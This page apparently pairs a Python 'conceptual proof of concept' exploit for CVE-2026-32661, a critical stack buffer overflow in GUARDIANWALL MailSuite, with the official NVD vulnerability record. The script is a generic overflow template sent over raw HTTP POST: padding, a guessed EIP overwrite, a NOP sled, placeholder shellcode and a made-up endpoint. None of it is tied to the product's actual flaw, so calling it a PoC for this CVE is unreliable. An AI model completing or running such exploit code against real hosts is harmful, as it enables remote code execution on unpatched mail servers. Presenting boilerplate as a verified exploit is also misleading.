CVE-2026-32661

# CVE-2026-32661 Proof of Concept (Conceptual) # This script demonstrates the buffer overflow trigger mechanism. # Note: Offset and Ret addresses need to be adjusted based on the specific target version. import socket import sys def send_exploit(target_ip, target_port): # Constructing the malicious payload # 1. Padding (A's to fill the buffer) padding = b"A" * 1024 # 2. Overwrite EIP/RIP (Example address, needs debugging) eip_overwrite = b"\xaf\x11\x40\x00" # 3. NOP Sled nop_sled = b"\x90" * 32 # 4. Shellcode (Example: calc.exe or bind shell) shellcode = b"\xcc\xcc\xcc\xcc" payload = padding + eip_overwrite + nop_sled + shellcode try: print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Sending HTTP Request with payload in a vulnerable parameter request = b"POST /vulnerable_endpoint HTTP/1.1\r\n" request += b"Host: " + target_ip.encode() + b"\r\n" request += b"Content-Type: application/x-www-form-urlencoded\r\n" request += b"Content-Length: " + str(len(payload)).encode() + b"\r\n" request += b"\r\n" request += payload s.send(request) print("[+] Payload sent successfully.") s.close() except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": # Replace with actual target IP and Port send_exploit("192.168.1.10", 80)

{"cve": {"id": "CVE-2026-32661", "sourceIdentifier": "[email protected]", "published": "2026-05-13T06:16:14.253", "lastModified": "2026-05-13T15:47:10.327", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Stack-based buffer overflow vulnerability exists in GUARDIANWALL MailSuite and GUARDIANWALL Mail Security Cloud (SaaS version). If a remote attacker sends a specially crafted request to the product's web service, arbitrary code may be executed when the product is configured to run pop3wallpasswd with grdnwww user privilege."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://jvn.jp/en/jp/JVN35567473/", "source": "[email protected]"}, {"url": "https://security-support.canon-its.jp/info_and_news/show/804?site_domain=GUARDIANWALL", "source": "[email protected]"}]}}